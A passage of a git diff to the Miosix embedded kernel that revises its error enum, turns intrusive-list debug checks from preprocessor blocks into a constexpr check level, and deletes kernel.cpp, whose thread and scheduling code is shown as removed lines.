Error is UNRECOVERABLE - DISABLE_INTERRUPTS_NESTING, + /// A mutex related error such as a deadlock or unlock while not being the + /// owner happened + MUTEX_ERROR, - /// An attempt to lock twice a non recursive mutex happened.
- /// Error is UNRECOVERABLE - MUTEX_DEADLOCK, + /// Interrupts are wrongly enabled during the early boot stage + INTERRUPTS_ENABLED_AT_BOOT, - /// The calls to pauseKernel or disableInterrupts were nested too - ///much. Error is UNRECOVERABLE - NESTING_OVERFLOW, + /// PauseKernel is wrongly released during the early boot stage + KERNEL_ALREADY_STARTED_AT_BOOT, - /// Interrupts are wrongly enabled during boot - /// Error is UNRECOVERABLE - INTERRUPTS_ENABLED_AT_BOOT + /// Attempting to register an already registered interrupt or unregistering + /// the wrong interrupt + INTERRUPT_REGISTRATION_ERROR, }; /** - * Handles errors generated by kernel. + * Handles unrecoverable errors generated by kernel and causes a reboot. * Prints an error message on the Console (only if WITH_ERRLOG is defined * in miosix_config.h). - * For information about possible errors, see the enum Error * Can be called with the kernel not started, started, paused, with interrupts * disabled and within an interrupt routine. */ -void errorHandler(Error e); +[[noreturn]] void errorHandler(Error e); } //namespace miosix - -#endif //ERROR_H diff --git a/miosix/kernel/intrusive.cpp b/miosix/kernel/intrusive.cpp index 213fcb308..187f581ef 100644 --- a/miosix/kernel/intrusive.cpp +++ b/miosix/kernel/intrusive.cpp @@ -38,6 +38,10 @@ inline int atomicSwap(volatile int*, int) { return 0; } void *atomicFetchAndIncrement(void *const volatile*, int, int) { return nullptr; } +// Enable all checks +enum class ExtraChecks { None, Application, Kernel }; +constexpr auto extraChecks=ExtraChecks::Kernel; + //C++ glassbox testing trick #define private public #define protected public @@ -58,11 +62,12 @@ namespace miosix { void IntrusiveListBase::push_back(IntrusiveListItem *item) { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if((head!=nullptr) ^ (tail!=nullptr)) fail(); - if(!empty() && head==tail && (head->prev || head->next)) fail(); - if(item->prev!=nullptr || item->next!=nullptr) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + { + if((head!=nullptr) ^ (tail!=nullptr)) fail(); + if(!empty() && head==tail && (head->prev || head->next)) fail(); + if(item->prev!=nullptr || item->next!=nullptr) fail(); + } if(empty()) head=item; else { item->prev=tail; @@ -73,10 +78,11 @@ void IntrusiveListBase::push_back(IntrusiveListItem *item) void IntrusiveListBase::pop_back() { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(head==nullptr || tail==nullptr) fail(); - if(!empty() && head==tail && (head->prev || head->next)) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + { + if(head==nullptr || tail==nullptr) fail(); + if(!empty() && head==tail && (head->prev || head->next)) fail(); + } IntrusiveListItem *removedItem=tail; tail=removedItem->prev; if(tail!=nullptr) @@ -88,11 +94,12 @@ void IntrusiveListBase::pop_back() void IntrusiveListBase::push_front(IntrusiveListItem *item) { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if((head!=nullptr) ^ (tail!=nullptr)) fail(); - if(!empty() && head==tail && (head->prev || head->next)) fail(); - if(item->prev!=nullptr || item->next!=nullptr) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + { + if((head!=nullptr) ^ (tail!=nullptr)) fail(); + if(!empty() && head==tail && (head->prev || head->next)) fail(); + if(item->prev!=nullptr || item->next!=nullptr) fail(); + } if(empty()) tail=item; else { head->prev=item; @@ -103,10 +110,11 @@ void IntrusiveListBase::push_front(IntrusiveListItem *item) void IntrusiveListBase::pop_front() { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(head==nullptr || tail==nullptr) fail(); - if(!empty() && head==tail && (head->prev || head->next)) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + { + if(head==nullptr || tail==nullptr) fail(); + if(!empty() && head==tail && (head->prev || head->next)) fail(); + } IntrusiveListItem *removedItem=head; head=removedItem->next; if(head!=nullptr) @@ -118,16 +126,17 @@ void IntrusiveListBase::pop_front() void IntrusiveListBase::insert(IntrusiveListItem *cur, IntrusiveListItem *item) { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if((head!=nullptr) ^ (tail!=nullptr)) fail(); - if(!empty() && head==tail && (head->prev || head->next)) fail(); - if(cur!=nullptr) + if(extraChecks==ExtraChecks::Kernel) { - if(cur->prev==nullptr && cur!=head) fail(); - if(cur->next==nullptr && cur!=tail) fail(); + if((head!=nullptr) ^ (tail!=nullptr)) fail(); + if(!empty() && head==tail && (head->prev || head->next)) fail(); + if(cur!=nullptr) + { + if(cur->prev==nullptr && cur!=head) fail(); + if(cur->next==nullptr && cur!=tail) fail(); + } + if(item->prev!=nullptr || item->next!=nullptr) fail(); } - if(item->prev!=nullptr || item->next!=nullptr) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK item->next=cur; if(cur!=nullptr) { @@ -143,13 +152,24 @@ void IntrusiveListBase::insert(IntrusiveListItem *cur, IntrusiveListItem *item) IntrusiveListItem *IntrusiveListBase::erase(IntrusiveListItem *cur) { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(head==nullptr || tail==nullptr) fail(); - if(!empty() && head==tail && (head->prev || head->next)) fail(); - if(cur==nullptr) fail(); - if(cur->prev==nullptr && cur!=head) fail(); - if(cur->next==nullptr && cur!=tail) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + { + if(head==nullptr || tail==nullptr) fail(); + if(!empty() && head==tail && (head->prev || head->next)) fail(); + if(cur==nullptr) fail(); + if(cur->prev==nullptr && cur!=head) fail(); + if(cur->next==nullptr && cur!=tail) fail(); + // Computationally heavy check, makes an O(1) operation O(n), but is + // only enabled at the highest level of extra checks + bool found=false; + for(auto walk=head;walk!=nullptr;walk=walk->next) + { + if(walk!=cur) continue; + found=true; + break; + } + if(found==false) fail(); + } if(cur->prev!=nullptr) cur->prev->next=cur->next; else head=cur->next; if(cur->next!=nullptr) cur->next->prev=cur->prev; @@ -160,23 +180,11 @@ IntrusiveListItem *IntrusiveListBase::erase(IntrusiveListItem *cur) return result; } -#ifdef INTRUSIVE_LIST_ERROR_CHECK -#warning "INTRUSIVE_LIST_ERROR_CHECK should not be enabled in release builds" -void IntrusiveListBase::fail() -{ - #ifndef TEST_ALGORITHM - errorHandler(UNEXPECTED); - #else //TEST_ALGORITHM - assert(false); - #endif //TEST_ALGORITHM -} -#endif //INTRUSIVE_LIST_ERROR_CHECK - } //namespace miosix //Testsuite for IntrusiveList. Compile with: //g++ -DTEST_ALGORITHM -DINTRUSIVE_LIST_ERROR_CHECK -fsanitize=address -m32 -// -std=c++14 -Wall -O2 -o test intrusive.cpp; ./test +// -std=c++14 -Wall -O2 -o test intrusive.cpp && ./test #ifdef TEST_ALGORITHM void emptyCheck(IntrusiveListItem& x) diff --git a/miosix/kernel/intrusive.h b/miosix/kernel/intrusive.h index ec77b5d5b..e28ccf974 100755 --- a/miosix/kernel/intrusive.h +++ b/miosix/kernel/intrusive.h @@ -36,9 +36,6 @@ #include "error.h" #endif //TEST_ALGORITHM -//Only enable when testing code that uses IntrusiveList -//#define INTRUSIVE_LIST_ERROR_CHECK - namespace miosix { // Forward decls @@ -377,6 +374,7 @@ intrusive_ref_ptr intrusive_ref_ptr::atomic_load() const // virtual base classes, but that's an acceptable limitation, especially // considering that you get a meaningful compiler error if accidentally // trying to use it in such a case. + #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Winvalid-offsetof" const int offsetBytes=offsetof(T,intrusive.referenceCount); #pragma GCC diagnostic pop @@ -625,7 +623,7 @@ class IntrusiveListItem /** * \internal * Base class of IntrusiveList with the non-template-dependent part to improve - * code size when instantiationg multiple IntrusiveLists + * code size when instantiating multiple IntrusiveLists */ class IntrusiveListBase { @@ -650,9 +648,14 @@ class IntrusiveListBase bool empty() const { return head==nullptr; } - #ifdef INTRUSIVE_LIST_ERROR_CHECK - static void fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + static void fail() + { + #ifndef TEST_ALGORITHM + errorHandler(Error::UNEXPECTED); + #else //TEST_ALGORITHM + assert(false); + #endif //TEST_ALGORITHM + } private: IntrusiveListItem *head; @@ -686,25 +689,25 @@ class IntrusiveList : private IntrusiveListBase T* operator*() { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(list==nullptr || cur==nullptr) IntrusiveListBase::fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + if(list==nullptr || cur==nullptr) IntrusiveListBase::fail(); + return static_cast(cur); } iterator operator++() { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(list==nullptr || cur==nullptr) IntrusiveListBase::fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + if(list==nullptr || cur==nullptr) IntrusiveListBase::fail(); + cur=cur->next; return *this; } iterator operator--() { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(list==nullptr || list->empty()) IntrusiveListBase::fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + if(list==nullptr || list->empty()) IntrusiveListBase::fail(); + if(cur!=nullptr) cur=cur->prev; else cur=list->IntrusiveListBase::back(); //Special case: decrementing end() return *this; @@ -712,9 +715,9 @@ class IntrusiveList : private IntrusiveListBase iterator operator++(int) { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(list==nullptr || cur==nullptr) IntrusiveListBase::fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + if(list==nullptr || cur==nullptr) IntrusiveListBase::fail(); + iterator result=*this; cur=cur->next; return result; @@ -722,9 +725,9 @@ class IntrusiveList : private IntrusiveListBase iterator operator--(int) { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(list==nullptr || list->empty()) IntrusiveListBase::fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + if(list==nullptr || list->empty()) IntrusiveListBase::fail(); + iterator result=*this; if(cur!=nullptr) cur=cur->prev; else cur=list->IntrusiveListBase::back(); //Special case: decrementing end() @@ -786,9 +789,9 @@ class IntrusiveList : private IntrusiveListBase */ void insert(iterator it, T *item) { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(it.list!=this) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + if(it.list!=this) fail(); + IntrusiveListItem *cur=it.cur; //Safe even if it==end() -> cur=nullptr IntrusiveListBase::insert(cur,item); } @@ -800,9 +803,9 @@ class IntrusiveList : private IntrusiveListBase */ iterator erase(iterator it) { - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(it.list!=this) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + if(extraChecks==ExtraChecks::Kernel) + if(it.list!=this) fail(); + IntrusiveListItem *cur=it.cur; return iterator(this,IntrusiveListBase::erase(cur)); } @@ -810,10 +813,10 @@ class IntrusiveList : private IntrusiveListBase /** * Nonportable version of std::list::remove that is O(1) since it relies on * the list being intrusive - * NOTE: can ONLY be called if you are sure the item to remove is either not - * in any list (in this case, nothing is done) or is in the list it is being - * removed from. Trying to remove an item that is present in another list - * produces undefined bahavior. + * \warning: can ONLY be called if you are sure the item to remove is either + * not in any list (in this case, nothing is done) or is in the list it is + * being removed from. Trying to remove an item that is present in another + * list produces undefined behavior. * \param item item to remove, must not be nullptr * \return true if the item was removed, false if the item was not present * in the list @@ -841,9 +844,9 @@ class IntrusiveList : private IntrusiveListBase T* front() { auto result=IntrusiveListBase::front(); - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(result==nullptr) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + + if(extraChecks==ExtraChecks::Kernel) if(result==nullptr) fail(); + return static_cast(result); } @@ -853,9 +856,9 @@ class IntrusiveList : private IntrusiveListBase T* back() { auto result=IntrusiveListBase::back(); - #ifdef INTRUSIVE_LIST_ERROR_CHECK - if(result==nullptr) fail(); - #endif //INTRUSIVE_LIST_ERROR_CHECK + + if(extraChecks==ExtraChecks::Kernel) if(result==nullptr) fail(); + return static_cast(result); } diff --git a/miosix/kernel/kernel.cpp b/miosix/kernel/kernel.cpp deleted file mode 100755 index 0ed5706e6..000000000 --- a/miosix/kernel/kernel.cpp +++ /dev/null @@ -1,951 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008-2023 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "kernel.h" -#include "interfaces/portability.h" -#include "interfaces/atomic_ops.h" -#include "error.h" -#include "logging.h" -#include "sync.h" -#include "stage_2_boot.h" -#include "process.h" -#include "kernel/scheduler/scheduler.h" -#include "stdlib_integration/libc_integration.h" -#include "interfaces/os_timer.h" -#include "timeconversion.h" -#include -#include -#include -#include -#include -#include "interfaces/deep_sleep.h" -#include "core/interrupts.h" - -/* - * Used by assembler context switch macros - * This variable is set by miosix::IRQfindNextThread in file kernel.cpp - */ -extern "C" { -volatile unsigned int *ctxsave; -} - - -namespace miosix { - -//Global variables used by kernel.cpp. Those that are not static are also used -//in portability.cpp and by the schedulers. -//These variables MUST NOT be used outside kernel.cpp and portability.cpp - -volatile Thread *runningThread=nullptr;///<\internal Thread currently running - -///\internal True if there are threads in the DELETED status. Used by idle thread -static volatile bool existDeleted=false; - -IntrusiveList sleepingList;///list of sleeping threads - -///\internal !=0 after pauseKernel(), ==0 after restartKernel() -volatile int kernelRunning=0; - -///\internal true if a thread wakeup occurs while the kernel is paused -volatile bool pendingWakeup=false; - -static bool kernelStarted=false;///<\internal becomes true after startKernel. - -/// This is used by disableInterrupts() and enableInterrupts() to allow nested -/// calls to these functions. -static unsigned char interruptDisableNesting=0; - -#ifdef WITH_DEEP_SLEEP - -/// This variable is used to keep count of how many peripherals are actually used. -/// If it 0 then the system can enter the deep sleep state -static int deepSleepCounter=0; - -#endif // WITH_DEEP_SLEEP - -#ifdef WITH_PROCESSES - -/// The proc field of the Thread class for kernel threads points to this object -static ProcessBase *kernel=nullptr; - -#endif //WITH_PROCESSES - -/** - * \internal - * Idle thread. Created when the kernel is started, it phisically deallocates - * memory for deleted threads, and puts the cpu in sleep mode. - */ -void *idleThread(void *argv) -{ - for(;;) - { - if(existDeleted) - { - PauseKernelLock lock; - existDeleted=false; - Scheduler::PKremoveDeadThreads(); - } - #ifndef JTAG_DISABLE_SLEEP - //JTAG debuggers lose communication with the device if it enters sleep - //mode, so to use debugging it is necessary to remove this instruction - - #ifdef WITH_DEEP_SLEEP - { - FastInterruptDisableLock lock; - bool sleep; - if(deepSleepCounter==0) - { - if(sleepingList.empty()==false) - { - long long wakeup=sleepingList.front()->wakeupTime; - sleep=!IRQdeepSleep(wakeup); - } else sleep=!IRQdeepSleep(); - } else sleep=true; - //NOTE: going to sleep with interrupts disabled makes sure no - //preemption occurs from when we take the decision to sleep till - //we actually do sleep. Wakeup interrupt will be run when we enable - //back interrupts - if(sleep) miosix_private::sleepCpu(); - } - #else //WITH_DEEP_SLEEP - miosix_private::sleepCpu(); - #endif //WITH_DEEP_SLEEP - - #endif //JTAG_DISABLE_SLEEP - } - return 0; //Just to avoid a compiler warning -} - -void disableInterrupts() -{ - //Before the kernel is started interrupts are disabled, - //so disabling them again won't hurt - miosix_private::doDisableInterrupts(); - if(interruptDisableNesting==0xff) errorHandler(NESTING_OVERFLOW); - interruptDisableNesting++; -} - -void enableInterrupts() -{ - if(interruptDisableNesting==0) - { - //Bad, enableInterrupts was called one time more than disableInterrupts - errorHandler(DISABLE_INTERRUPTS_NESTING); - } - interruptDisableNesting--; - if(interruptDisableNesting==0 && kernelStarted==true) - { - miosix_private::doEnableInterrupts(); - } -} - -void pauseKernel() -{ - int old=atomicAddExchange(&kernelRunning,1); - if(old>=0xff) errorHandler(NESTING_OVERFLOW); -} - -void restartKernel() -{ - int old=atomicAddExchange(&kernelRunning,-1); - if(old<=0) errorHandler(PAUSE_KERNEL_NESTING); - - //Check interruptDisableNesting to allow pauseKernel() while interrupts - //are disabled with an InterruptDisableLock - if(interruptDisableNesting==0) - { - //If we missed a preemption yield immediately. This mechanism works the - //same way as the hardware implementation of interrupts that remain - //pending if they occur while interrupts are disabled. - //This is important to make sure context switches to a higher priority - //thread happen in a timely fashion. - //It is important that pendingWakeup is set to true any time the - //scheduler is called but it could not run due to the kernel being - //paused regardless of whether the scheduler has been called by the - //timer irq or any peripheral irq. - //With the tickless kernel, this is also important to prevent deadlocks - //as the idle thread is no longer periodically interrupted by timer - //ticks and it does pause the kernel. If the interrupt that wakes up - //a thread fails to call the scheduler since the idle thread paused the - //kernel and pendingWakeup is not set, this could cause a deadlock. - if(old==1 && pendingWakeup) - { - pendingWakeup=false; - Thread::yield(); - } - } -} - -bool areInterruptsEnabled() -{ - return miosix_private::checkAreInterruptsEnabled(); -} - -void deepSleepLock() -{ - #ifdef WITH_DEEP_SLEEP - atomicAdd(&deepSleepCounter,1); - #endif // WITH_DEEP_SLEEP -} - -void deepSleepUnlock() -{ - #ifdef WITH_DEEP_SLEEP - atomicAdd(&deepSleepCounter,-1); - #endif // WITH_DEEP_SLEEP -} - -void startKernel() -{ - #ifdef WITH_PROCESSES - try { - kernel=new ProcessBase; - } catch(...) { - errorHandler(OUT_OF_MEMORY); - } - #endif //WITH_PROCESSES - - // As a side effect this function allocates the idle thread and makes - // runningThread point to it. It's probably been called many times during - // boot by the time we get here, but we can't be sure - auto *idle=Thread::IRQgetCurrentThread(); - - #ifdef WITH_PROCESSES - // If the idle thread was allocated before startKernel(), then its proc - // is nullptr. We can't move kernel=new ProcessBase; earlier than this - // function, though - idle->proc=kernel; - #endif //WITH_PROCESSES - - // Create the idle and main thread - Thread *main; - main=Thread::doCreate(mainLoader,MAIN_STACK_SIZE,nullptr,Thread::DEFAULT,true); - if(main==nullptr) errorHandler(OUT_OF_MEMORY); - - // Add them to the scheduler - if(Scheduler::PKaddThread(main,MAIN_PRIORITY)==false) errorHandler(UNEXPECTED); - - // Idle thread needs to be set after main (see control_scheduler.cpp) - Scheduler::IRQsetIdleThread(idle); - - // Make the C standard library use per-thread reeentrancy structure - setCReentrancyCallback(Thread::getCReent); - - // Dispatch the task to the architecture-specific function - kernelStarted=true; - miosix_private::IRQportableStartKernel(); -} - -bool isKernelRunning() -{ - return (kernelRunning==0) && kernelStarted; -} - -//These are not implemented here, but in the platform/board-specific os_timer. -//long long getTime() noexcept -//long long IRQgetTime() noexcept - -/** - * \internal - * Used by Thread::sleep() and pthread_cond_timedwait() to add a thread to - * sleeping list. The list is sorted by the wakeupTime field to reduce time - * required to wake threads during context switch. - * Interrupts must be disabled prior to calling this function. - */ -static void IRQaddToSleepingList(SleepData *x) -{ - if(sleepingList.empty() || sleepingList.front()->wakeupTime>=x->wakeupTime) - { - sleepingList.push_front(x); - } else { - auto it=sleepingList.begin(); - while(it!=sleepingList.end() && (*it)->wakeupTimewakeupTime) ++it; - sleepingList.insert(it,x); - } -} - -/** - * \internal - * Called to check if it's time to wake some thread. - * Takes care of clearing SLEEP_FLAG. - * It is used by the kernel, and should not be used by end users. - * \return true if some thread with higher priority of current thread is woken. - */ -bool IRQwakeThreads(long long currentTime) -{ - if(sleepingList.empty()) return false; //If no item in list, return - - bool result=false; - //Since list is sorted, if we don't need to wake the first element - //we don't need to wake the other too - for(auto it=sleepingList.begin();it!=sleepingList.end();) - { - if(currentTime<(*it)->wakeupTime) break; - //Wake both threads doing absoluteSleep() and timedWait() - (*it)->thread->flags.IRQclearSleepAndWait(); - if(const_cast(runningThread)->IRQgetPriority()<(*it)->thread->IRQgetPriority()) - result=true; - it=sleepingList.erase(it); - } - return result; -} - -/* -Memory layout for a thread - |------------------------| - | class Thread | - |------------------------|<-- this - | stack | - | | | - | V | - |------------------------| - | watermark | - |------------------------|<-- base, watermark -*/ - -Thread *Thread::create(void *(*startfunc)(void *), unsigned int stacksize, - Priority priority, void *argv, unsigned short options) -{ - //Check to see if input parameters are valid - if(priority.validate()==false || stacksizewatermark; - thread->~Thread(); - free(base); //Delete ALL thread memory - return nullptr; - } - } - #ifdef SCHED_TYPE_EDF - if(isKernelRunning()) yield(); //The new thread might have a closer deadline - #endif //SCHED_TYPE_EDF - return thread; -} - -Thread *Thread::create(void (*startfunc)(void *), unsigned int stacksize, - Priority priority, void *argv, unsigned short options) -{ - //Just call the other version with a cast. - return Thread::create(reinterpret_cast(startfunc), - stacksize,priority,argv,options); -} - -void Thread::yield() -{ - miosix_private::doYield(); -} - -void Thread::sleep(unsigned int ms) -{ - nanoSleepUntil(getTime()+mul32x32to64(ms,1000000)); -} - -void Thread::nanoSleep(long long ns) -{ - nanoSleepUntil(getTime()+ns); -} - -void Thread::nanoSleepUntil(long long absoluteTimeNs) -{ - //Disallow absolute sleeps with negative or too low values, as the ns2tick() - //algorithm in TimeConversion can't handle negative values and may undeflow - //even with very low values due to a negative adjustOffsetNs. As an unlikely - //side effect, very short sleeps done very early at boot will be extended. - absoluteTimeNs=std::max(absoluteTimeNs,100000LL); - //pauseKernel() here is not enough since even if the kernel is stopped - //the timer isr will wake threads, modifying the sleepingList - { - FastInterruptDisableLock dLock; - SleepData d(const_cast(runningThread),absoluteTimeNs); - d.thread->flags.IRQsetSleep(); //Sleeping thread: set sleep flag - IRQaddToSleepingList(&d); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - //Only required for interruptibility when terminate is called - sleepingList.removeFast(&d); - } -} - -void Thread::wait() -{ - //pausing the kernel is not enough because of IRQwait and IRQwakeup - { - FastInterruptDisableLock lock; - const_cast(runningThread)->flags.IRQsetWait(true); - } - Thread::yield(); - //Return here after wakeup -} - -void Thread::IRQwait() -{ - const_cast(runningThread)->flags.IRQsetWait(true); -} - -void Thread::PKrestartKernelAndWait(PauseKernelLock& dLock) -{ - (void)dLock; - //Implemented by upgrading the lock to an interrupt disable one - FastInterruptDisableLock dLockIrq; - auto savedNesting=kernelRunning; - kernelRunning=0; - IRQenableIrqAndWaitImpl(); - if(kernelRunning!=0) errorHandler(UNEXPECTED); - kernelRunning=savedNesting; -} - -TimedWaitResult Thread::PKrestartKernelAndTimedWait(PauseKernelLock& dLock, - long long absoluteTimeNs) -{ - (void)dLock; - //Implemented by upgrading the lock to an interrupt disable one - FastInterruptDisableLock dLockIrq; - auto savedNesting=kernelRunning; - kernelRunning=0; - auto result=IRQenableIrqAndTimedWaitImpl(absoluteTimeNs); - if(kernelRunning!=0) errorHandler(UNEXPECTED); - kernelRunning=savedNesting; - return result; -} - -void Thread::wakeup() -{ - //pausing the kernel is not enough because of IRQwait and IRQwakeup - { - FastInterruptDisableLock lock; - this->flags.IRQsetWait(false); - } - #ifdef SCHED_TYPE_EDF - yield();//The other thread might have a closer deadline - #endif //SCHED_TYPE_EDF -} - -void Thread::PKwakeup() -{ - //pausing the kernel is not enough because of IRQwait and IRQwakeup - FastInterruptDisableLock lock; - this->flags.IRQsetWait(false); -} - -void Thread::IRQwakeup() -{ - this->flags.IRQsetWait(false); -} - -Thread *Thread::IRQgetCurrentThread() -{ - //NOTE: this code is currently safe to be called either with interrupt - //enabed or not, and with the kernel paused or not, as well as before the - //kernel is started, so getCurrentThread() and PKgetCurrentThread() all - //directly call here. If introducing changes that break this property, these - //three functions may need to be split - - //Implementation is the same as getCurrentThread, but to keep a consistent - //interface this method is duplicated - Thread *result=const_cast(runningThread); - if(result) return result; - //This function must always return a pointer to a valid thread. The first - //time this is called before the kernel is started, however, runningThread - //is nullptr, thus we allocate the idle thread and return a pointer to that. - return allocateIdleThread(); -} - -bool Thread::exists(Thread *p) -{ - if(p==nullptr) return false; - PauseKernelLock lock; - return Scheduler::PKexists(p); -} - -Priority Thread::getPriority() -{ - //NOTE: the code in all schedulers is currently safe to be called either - //with interrupt enabed or not, and with the kernel paused or not, so - //PKgetPriority() and IRQgetPriority() directly call here. If introducing - //changes that break this property, these functions may need to be split - return Scheduler::getPriority(this); -} - -void Thread::setPriority(Priority pr) -{ - if(pr.validate()==false) return; - PauseKernelLock lock; - - Thread *running=PKgetCurrentThread(); - //If thread is locking at least one mutex - if(running->mutexLocked!=nullptr) - { - //savedPriority always changes, since when all mutexes are unlocked - //setPriority() must become effective - if(running->savedPriority==pr) return; - running->savedPriority=pr; - //Calculate new priority of thread, which is - //max(savedPriority, inheritedPriority) - Mutex *walk=running->mutexLocked; - while(walk!=nullptr) - { - if(walk->waiting.empty()==false) - pr=std::max(pr,walk->waiting.front()->PKgetPriority()); - walk=walk->next; - } - } - - //If old priority == desired priority, nothing to do. - if(pr==running->PKgetPriority()) return; - Scheduler::PKsetPriority(running,pr); - #ifdef SCHED_TYPE_EDF - if(isKernelRunning()) yield(); //Another thread might have a closer deadline - #endif //SCHED_TYPE_EDF -} - -void Thread::terminate() -{ - //doing a read-modify-write operation on this->status, so pauseKernel is - //not enough, we need to disable interrupts - FastInterruptDisableLock lock; - if(this->flags.isDeleting()) return; //Prevent sleep interruption abuse - this->flags.IRQsetDeleting(); - this->flags.IRQclearSleepAndWait(); //Interruptibility -} - -bool Thread::testTerminate() -{ - //Just reading, no need for critical section - return const_cast(runningThread)->flags.isDeleting(); -} - -void Thread::detach() -{ - FastInterruptDisableLock lock; - this->flags.IRQsetDetached(); - - //we detached a terminated thread, so its memory needs to be deallocated - if(this->flags.isDeletedJoin()) existDeleted=true; - - //Corner case: detaching a thread, but somebody else already called join - //on it. This makes join return false instead of deadlocking - if(this->joinData.waitingForJoin!=nullptr) - { - //joinData is an union, so its content can be an invalid thread - //this happens if detaching a thread that has already terminated - if(this->flags.isDeletedJoin()==false) - { - //Wake thread, or it might sleep forever - this->joinData.waitingForJoin->flags.IRQsetJoinWait(false); - } - } -} - -bool Thread::isDetached() const -{ - return this->flags.isDetached(); -} - -bool Thread::join(void** result) -{ - { - FastInterruptDisableLock dLock; - if(this==Thread::IRQgetCurrentThread()) return false; - if(Thread::IRQexists(this)==false) return false; - if(this->flags.isDetached()) return false; - if(this->flags.isDeletedJoin()==false) - { - //Another thread already called join on toJoin - if(this->joinData.waitingForJoin!=nullptr) return false; - - this->joinData.waitingForJoin=Thread::IRQgetCurrentThread(); - for(;;) - { - //Wait - Thread::IRQgetCurrentThread()->flags.IRQsetJoinWait(true); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - if(Thread::IRQexists(this)==false) return false; - if(this->flags.isDetached()) return false; - if(this->flags.isDeletedJoin()) break; - } - } - //Thread deleted, complete join procedure - //Setting detached flag will make isDeleted() return true, - //so its memory can be deallocated - this->flags.IRQsetDetached(); - if(result!=nullptr) *result=this->joinData.result; - } - { - PauseKernelLock lock; - //Since there is surely one dead thread, deallocate it immediately - //to free its memory as soon as possible - Scheduler::PKremoveDeadThreads(); - } - return true; -} - -const unsigned int *Thread::getStackBottom() -{ - return getCurrentThread()->watermark+(WATERMARK_LEN/sizeof(unsigned int)); -} - -int Thread::getStackSize() -{ - return getCurrentThread()->stacksize; -} - -void Thread::IRQstackOverflowCheck() -{ - const unsigned int watermarkSize=WATERMARK_LEN/sizeof(unsigned int); - #ifdef WITH_PROCESSES - if(const_cast(runningThread)->flags.isInUserspace()) - { - bool overflow=false; - for(unsigned int i=0;iuserWatermark[i]!=WATERMARK_FILL) overflow=true; - if(runningThread->userCtxsave[stackPtrOffsetInCtxsave] < - reinterpret_cast(runningThread->userWatermark+watermarkSize)) - overflow=true; - if(overflow) IRQreportFault(miosix_private::FaultData(fault::STACKOVERFLOW,0)); - } else { - #endif //WITH_PROCESSES - for(unsigned int i=0;iwatermark[i]!=WATERMARK_FILL) errorHandler(STACK_OVERFLOW); - if(runningThread->ctxsave[stackPtrOffsetInCtxsave] < - reinterpret_cast(runningThread->watermark+watermarkSize)) - errorHandler(STACK_OVERFLOW); - #ifdef WITH_PROCESSES - } - #endif //WITH_PROCESSES -} - -#ifdef WITH_PROCESSES - -void Thread::IRQhandleSvc(unsigned int svcNumber) -{ - if(runningThread->proc==kernel) errorHandler(UNEXPECTED); - if(svcNumber==static_cast(Syscall::USERSPACE)) - { - const_cast(runningThread)->flags.IRQsetUserspace(true); - ::ctxsave=runningThread->userCtxsave; - //We know it's not the kernel, so the cast is safe - static_cast(runningThread->proc)->mpu.IRQenable(); - } else { - const_cast(runningThread)->flags.IRQsetUserspace(false); - ::ctxsave=runningThread->ctxsave; - MPUConfiguration::IRQdisable(); - } -} - -bool Thread::IRQreportFault(const miosix_private::FaultData& fault) -{ - if(const_cast(runningThread)->flags.isInUserspace()==false - || runningThread->proc==kernel) return false; - //We know it's not the kernel, so the cast is safe - static_cast(runningThread->proc)->fault=fault; - const_cast(runningThread)->flags.IRQsetUserspace(false); - ::ctxsave=runningThread->ctxsave; - MPUConfiguration::IRQdisable(); - return true; -} - -miosix_private::SyscallParameters Thread::switchToUserspace() -{ - 